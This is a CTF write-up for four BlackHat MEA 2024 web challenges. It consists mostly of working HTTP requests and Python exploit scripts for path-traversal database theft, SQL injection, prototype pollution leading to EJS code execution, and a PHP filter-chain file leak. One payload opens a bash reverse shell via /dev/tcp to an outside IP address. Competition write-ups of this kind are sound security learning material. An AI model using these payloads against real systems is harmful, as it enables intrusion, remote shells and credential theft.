BlackHat MEA CTF 2024 Quals Web Writeup

BlackHat MEA CTF 2024 Quals Web Writeup

Watermelon

  1. register a normal user
  2. use path traversal to read sqlite database to get admin’s password
  3. login as admin
  4. access /admin to get flag
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /register HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Content-Type: application/json
Content-Length: 35

{"username":"123","password":"123"}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /login HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Content-Type: application/json
Content-Length: 35

{"username":"123","password":"123"}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
POST /upload HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Cookie: session=eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6IjEyMyJ9.ZtRBcQ.E882ma9geTCRMb3xDWmbvo1VRVE;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH4FFQ6zSbIax3PCr
Content-Length: 197

------WebKitFormBoundaryH4FFQ6zSbIax3PCr
Content-Disposition: form-data; name="file"; filename="../../instance/db.db"
Content-Type: text/plain

123
------WebKitFormBoundaryH4FFQ6zSbIax3PCr--

read the admin’s password in db.db and then login in as admin

1
2
3
4
5
6
7
8
9
GET /file/1 HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6IjEyMyJ9.ZtRBcQ.E882ma9geTCRMb3xDWmbvo1VRVE;
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /login HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Content-Type: application/json
Content-Length: 74

{"username":"admin","password":"0afc1e0ed61beb49f5f41838bcb0d8bf091b2796"}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
GET /admin HTTP/1.1
Host: af79dcab03dfc0f1b5d66.playat.flagyard.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Cookie: session=eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZtRDJQ.VXgYGJ3b3UoaFXUd4D4yRg6QIlU;

Notey

https://flatt.tech/research/posts/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql/

sql injection

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import requests

url = 'http://ab28c99048e86bf2089a9.playat.flagyard.com'

s = requests.Session()

_ = s.post(url + '/register', data={
    'username': '123',
    'password': '123'
})

_ = s.post(url + '/login', data={
    'username': '123',
    'password': '123'
})

resp = s.get(url + '/viewNote?note_id[note_id]=1&note_secret[secret]=1')
print(resp.text)

Fastest Delivery Service

prototype pollution -> ejs rce

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

s = requests.Session()

url = 'http://a403be87eb55e0acf147e.playat.flagyard.com'

_ = s.post(url + '/register', data={
    'username': '__proto__',
    'password': '123'
})

_ = s.post(url + '/login', data={
    'username': '__proto__',
    'password': '123'
})


resp = s.post(url + '/address', data={
    'username': '__proto__',
    'addressId': 'client',
    'Fulladdress': True
})
print(resp.text)

resp = s.post(url + '/address', data={
    'username': '__proto__',
    'addressId': 'escapeFunction',
    'Fulladdress': "1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/122.51.21.9/65123 0>&1\"')"
})
print(resp.text)

Free Flag

https://github.com/ambionics/wrapwrap

generate payload

1
python wrapwrap.py /flag.txt '<?php' '' 20000 # output in chain.txt

replace /flag to php://filter/convert.base64-encode|convert.base64-encode/resource=/flag.txt in order to increase the original data, otherwise part of the flag would be missing

chain.txt

1
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=php://filter/convert.base64-encode|convert.base64-encode/resource=/flag.txt

exp.py

1
2
3
4
5
6
7
8
9
import requests

with open('chain.txt', 'r') as f:
    chain = f.read()

url = 'http://ac4ecd860274e0289f79f.playat.flagyard.com/'

resp = requests.post(url, data={'file': chain})
print(resp.text)

base64 decode twice to get the flag

0%